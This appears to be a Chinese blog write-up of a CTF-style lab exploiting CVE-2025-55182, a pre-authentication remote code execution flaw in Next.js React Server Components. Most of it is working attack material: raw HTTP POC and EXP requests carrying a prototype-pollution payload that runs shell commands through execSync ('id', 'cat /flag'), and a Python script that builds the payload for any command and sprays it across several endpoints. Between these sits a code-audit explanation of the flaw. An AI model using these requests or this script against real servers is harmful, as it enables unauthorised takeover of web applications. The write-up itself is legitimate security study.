欢迎光临
我们一直在努力

CVE-2025-55182 NextJs无条件RCE漏洞详细【WriteUp】

🧨CVE-2025-55182 NextJs无条件RCE漏洞 🧨

🕵️ 漏洞概述

  • 严重程度: 严重(CVSS评分:10.0)
  • 类型: 预认证远程代码执行漏洞
  • 受影响产品: Nextjs

❌ 影响版本

  • Next.js v15.0.0-15.0.4
  • Next.js v15.1.0-15.1.8
  • Next.js v15.2.x-15.5.6
  • Next.js v16.0.0-16.0.6
  • Next.js v14.3.0-canary.77及以上Canary版本

访问靶机

在这里插入图片描述

😊POC

POST /apps HTTP/2
Host: eci-2ze9tkhgh316io4m8umf.cloudeci1.ichunqiu.com:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 744
Referer: https://eci-2ze9tkhgh316io4m8umf.cloudeci1.ichunqiu.com:3000/

——WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
——WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
——WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
——WebKitFormBoundaryx8jO2oVc6SWP3Sad–

在这里插入图片描述

😎EXP

POST /apps HTTP/2
Host: eci-2ze9tkhgh316io4m8umf.cloudeci1.ichunqiu.com:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 751
Referer: https://eci-2ze9tkhgh316io4m8umf.cloudeci1.ichunqiu.com:3000/

——WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('cat /flag',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}

——WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
——WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
——WebKitFormBoundaryx8jO2oVc6SWP3Sad–

在这里插入图片描述

代码审计

关键漏洞代码:reviveModel 函数
漏洞的核心位于 react-server 包中的 ReactFlightReplyServer.js 文件,具体是 reviveModel 函数。

在反序列化过程中,当遇到一个对象时,reviveModel 函数会遍历其所有属性。为了确认一个属性是否真正属于该对象本身(而非从其原型链继承而来),代码使用了 hasOwnProperty 方法进行检查

// packages/react-server/src/ReactFlightReplyServer.js (简化示例)
function reviveModel(...) {
// …
if (typeof value === 'object' && value !== null) {
for (const key in value) {
// 漏洞关键点:直接在用户可控的对象上调用 hasOwnProperty
if (hasOwnProperty.call(value, key)) {
// … 递归处理属性值
}
}
}
return value;
}

问题在于:hasOwnProperty 方法本身是 Object.prototype 的一个属性。在JavaScript中,如果一个对象没有自身的 hasOwnProperty 属性,就会沿原型链向上查找。攻击者可以通过精心构造的Payload,控制被检查的对象,并提供一个恶意的 hasOwnProperty 属性,从而完全绕过这个安全检查。

漏洞触发条件与入口

攻击者通过向暴露的服务器函数端点(Server Function Endpoint)发送一个特制的 multipart/form-data 格式的HTTP POST请求来触发漏洞。在默认配置的Next.js应用中,这通常是通过 next-action 头来暴露的。

服务器端的入口函数是 decodeReplyFromBusboy,它负责解析客户端传来的表单数据,并最终调用上述不安全的 reviveModel 逻辑。

漏洞利用链分析

攻击者通过构造一个包含多个“数据块”的恶意请求来实施利用。以下是利用过程的关键步骤分析:

  • 构造恶意数据块(Chunk):

    • Chunk 0:通常包含一个引导对象。例如,其 then 属性值可能被设置为 “$1:__proto__:then”。这个字符串指示解析器去引用Chunk 1,并访问其 __proto__ 对象的 then 属性。__proto__ 是访问对象原型链的关键。

    • Chunk 1:被设计为一个 “PENDING”状态的块,其值可能包含对Chunk 0的引用(如 “$@0”)。这种循环引用是触发后续回调机制的关键。

  • 滥用解析与回调机制:

    • 当解析器处理Chunk 0中的 “$1:proto:then” 时,它会尝试获取Chunk 1。由于Chunk 1状态为PENDING,解析器会注册一个回调函数(createModelResolver)到该块的解决队列中。

    • 随后,当解析器处理Chunk 1并解析 “$@0” 引用回Chunk 0时,会触发Chunk 1状态变更,执行之前注册的回调。

  • 原型链污染与代码执行:

    • 在回调执行路径中,攻击者通过先前设置的 __proto__ 等引用,能够访问并污染被解析对象的原型链。

    • 利用链的最终步骤通常是操纵对象的 constructor.constructor 属性,使其指向JavaScript的 Function 构造函数。这样,攻击者注入在另一个字段(如 _response._prefix)中的字符串代码,就能被当作函数执行,从而实现远程代码执行(RCE)。

  • 一个真实利用载荷的核心部分可能包含类似以下结构的字段:

    • then: “$1:proto:then”
    • status: “resolved_model”
    • _response._formData.get: “$1:constructor:constructor”
    • _response._prefix: “恶意JavaScript代码字符串”

    基于python的验证脚本

    #!/usr/bin/env python3
    """
    CVE-2025-55182 (React2Shell) 漏洞验证脚本
    用途:检测React服务器组件(RSC)中是否存在原型链污染导致的RCE漏洞
    注意:仅用于授权测试和教育目的
    CopyRight:Htr
    """

    import requests
    import json
    import sys
    import time
    from urllib.parse import urljoin

    class CVE202555182Exploit:
    def __init__(self, target_url):
    """
    初始化验证器

    Args:
    target_url: 目标URL(例如:http://localhost:3000)
    """
    self.target_url = target_url
    self.session = requests.Session()
    self.session.headers.update({
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept': '*/*',
    'Accept-Language': 'en-US,en;q=0.9',
    'Connection': 'keep-alive',
    })

    def build_malicious_payload(self, command="id"):
    """
    构造恶意Flight协议载荷

    根据漏洞原理,构造包含原型链污染的序列化数据
    这个Payload尝试通过constructor.constructor链执行代码

    Args:
    command: 要执行的命令(默认:id)

    Returns:
    dict: 构造的恶意载荷
    """
    # 构建恶意Flight序列化结构
    # 这里模拟了漏洞利用中的关键数据块
    malicious_payload = {
    "0": ["$@1", {
    "then": "$1:__proto__:then",
    "_response": {
    "_formData": {
    "get": "$1:constructor:constructor"
    },
    "_prefix": f"console.log(require('child_process').execSync('{command}').toString())"
    }
    }],
    "1": ["$@0", {
    "status": "pending",
    "__proto__": {
    "then": None,
    "constructor": {
    "constructor": None
    }
    }
    }],
    "modelRoot": ["$@0"],
    "formData": {
    "boundary": "—-WebKitFormBoundaryExploit",
    "__proto__": {"polluted": True}
    }
    }

    return malicious_payload

    def check_vulnerability(self, endpoint="/_next/action"):
    """
    检查目标是否易受攻击

    Args:
    endpoint: 服务器函数端点路径

    Returns:
    bool: 是否存在漏洞
    str: 响应信息
    """
    target_endpoint = urljoin(self.target_url, endpoint)

    # 构建恶意请求
    boundary = "—-WebKitFormBoundaryExploit"
    payload = self.build_malicious_payload("echo 'VULNERABLE'")

    # 构造multipart/form-data
    body_parts = []

    # 添加恶意JSON部分
    body_parts.append(f'–{boundary}')
    body_parts.append('Content-Disposition: form-data; name="0"')
    body_parts.append('Content-Type: application/json')
    body_parts.append('')
    body_parts.append(json.dumps(payload["0"]))

    body_parts.append(f'–{boundary}')
    body_parts.append('Content-Disposition: form-data; name="1"')
    body_parts.append('Content-Type: application/json')
    body_parts.append('')
    body_parts.append(json.dumps(payload["1"]))

    body_parts.append(f'–{boundary}')
    body_parts.append('Content-Disposition: form-data; name="modelRoot"')
    body_parts.append('Content-Type: application/json')
    body_parts.append('')
    body_parts.append(json.dumps(payload["modelRoot"]))

    body_parts.append(f'–{boundary}–')
    body_parts.append('')

    body = '\\r\\n'.join(body_parts)

    headers = {
    'Content-Type': f'multipart/form-data; boundary={boundary}',
    'next-action': '1', # 触发服务器函数
    'Accept': 'text/x-component',
    }

    try:
    print(f"[*] 发送恶意请求到: {target_endpoint}")
    print(f"[*] 使用的边界符: {boundary}")
    print(f"[*] Payload结构: {json.dumps(payload, indent=2)[:500]}…")

    response = self.session.post(
    target_endpoint,
    data=body,
    headers=headers,
    timeout=30,
    verify=False # 仅用于测试环境
    )

    print(f"[*] 响应状态码: {response.status_code}")
    print(f"[*] 响应头: {dict(response.headers)}")
    print(f"[*] 响应体(前500字符): {response.text[:500]}")

    # 检测漏洞的迹象
    vulnerability_indicators = [
    response.status_code == 500 and "proto" in response.text.lower(),
    "constructor" in response.text,
    "__proto__" in response.text,
    response.status_code == 200 and "execSync" in response.text,
    "child_process" in response.text,
    ]

    if any(vulnerability_indicators):
    return True, f"目标可能易受攻击!响应包含漏洞迹象。"
    elif response.status_code in [400, 500]:
    # 服务器错误可能是由恶意载荷引起的
    return True, f"服务器返回错误状态码 {response.status_code},可能受到载荷影响。"
    else:
    return False, f"未发现明显的漏洞迹象。"

    except requests.exceptions.RequestException as e:
    return False, f"请求失败: {str(e)}"
    except Exception as e:
    return False, f"发生错误: {str(e)}"

    def test_command_injection(self, command="whoami", endpoint="/_next/action"):
    """
    测试命令注入(谨慎使用)

    Args:
    command: 要测试的命令
    endpoint: 服务器函数端点

    Returns:
    bool: 是否成功执行
    str: 命令输出或错误信息
    """
    print(f"[!] 警告:正在尝试命令执行测试: {command}")
    print(f"[!] 这可能会对目标系统造成影响,请确保已获得授权")

    target_endpoint = urljoin(self.target_url, endpoint)
    payload = self.build_malicious_payload(command)

    # 这里简化为发送请求
    # 实际利用需要更精确的Flight协议编码
    try:
    response = self.session.post(
    target_endpoint,
    json=payload, # 简化为JSON请求
    headers={'next-action': '1'},
    timeout=30,
    verify=False
    )

    if response.status_code == 200:
    return True, f"请求成功,可能需要进一步分析响应"
    else:
    return False, f"请求失败,状态码: {response.status_code}"

    except Exception as e:
    return False, f"命令注入测试失败: {str(e)}"

    def fingerprint_react_version(self):
    """
    指纹识别React版本

    Returns:
    dict: 版本信息
    """
    endpoints_to_check = [
    "/_next/static/chunks/react-server-dom-webpack-client.js",
    "/_next/static/development/_ssgManifest.js",
    "/_next/static/chunks/main.js",
    ]

    version_indicators = {
    "19.0.0": ["react@19.0.0", "React 19"],
    "19.1.0": ["react@19.1.0", "useActionState"],
    "19.2.0": ["react@19.2.0", "useOptimistic"],
    }

    detected_versions = []

    for endpoint in endpoints_to_check:
    try:
    url = urljoin(self.target_url, endpoint)
    response = self.session.get(url, timeout=10, verify=False)

    if response.status_code == 200:
    content = response.text
    for version, indicators in version_indicators.items():
    for indicator in indicators:
    if indicator in content:
    detected_versions.append(version)
    print(f"[+] 检测到可能的React版本: {version} 在 {endpoint}")
    break
    except:
    continue

    return {"detected_versions": list(set(detected_versions))}

    def main():
    """主函数"""
    print("=" * 60)
    print("CVE-2025-55182 (React2Shell) 漏洞验证脚本")
    print("用途:检测React服务器组件中的RCE漏洞")
    print("警告:仅用于授权测试和教育目的")
    print("=" * 60)

    if len(sys.argv) < 2:
    print(f"使用方法: {sys.argv[0]} <目标URL>")
    print(f"示例: {sys.argv[0]} http://localhost:3000")
    sys.exit(1)

    target_url = sys.argv[1]
    exploit = CVE202555182Exploit(target_url)

    # 1. 指纹识别
    print("\\n[阶段1] React版本指纹识别")
    fingerprint_result = exploit.fingerprint_react_version()

    if fingerprint_result["detected_versions"]:
    print(f"[!] 检测到可能受影响的版本: {fingerprint_result['detected_versions']}")
    print("[!] 这些版本可能易受CVE-2025-55182攻击")
    else:
    print("[*] 未检测到明确的React版本信息")

    # 2. 漏洞检查
    print("\\n[阶段2] 漏洞存在性检查")

    # 尝试多个可能的端点
    possible_endpoints = [
    "/_next/action",
    "/api/_action",
    "/action",
    "/rsc",
    "/_rsc"
    ]

    vulnerable = False
    for endpoint in possible_endpoints:
    print(f"\\n[*] 测试端点: {endpoint}")
    is_vuln, message = exploit.check_vulnerability(endpoint)

    if is_vuln:
    print(f"[!] 发现漏洞迹象: {message}")
    vulnerable = True
    break
    else:
    print(f"[*] 未发现漏洞: {message}")

    # 3. 输出报告
    print("\\n" + "=" * 60)
    print("漏洞验证报告")
    print("=" * 60)

    if vulnerable:
    print("结果: ❌ 目标可能易受CVE-2025-55182攻击")
    print("\\n建议立即采取的措施:")
    print("1. 升级React到安全版本(19.0.1/19.1.2/19.2.1或更高)")
    print("2. 升级Next.js到16.0.7或更高版本")
    print("3. 实施WAF规则拦截恶意RSC请求")
    print("4. 监控服务器日志中的异常活动")
    else:
    print("结果: ✅ 未发现明显的漏洞迹象")
    print("\\n注意:此检查不能保证100%准确")
    print("建议仍升级到最新安全版本")

    if __name__ == "__main__":
    main()

    赞(0)
    未经允许不得转载:171主机测评 » CVE-2025-55182 NextJs无条件RCE漏洞详细【WriteUp】
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址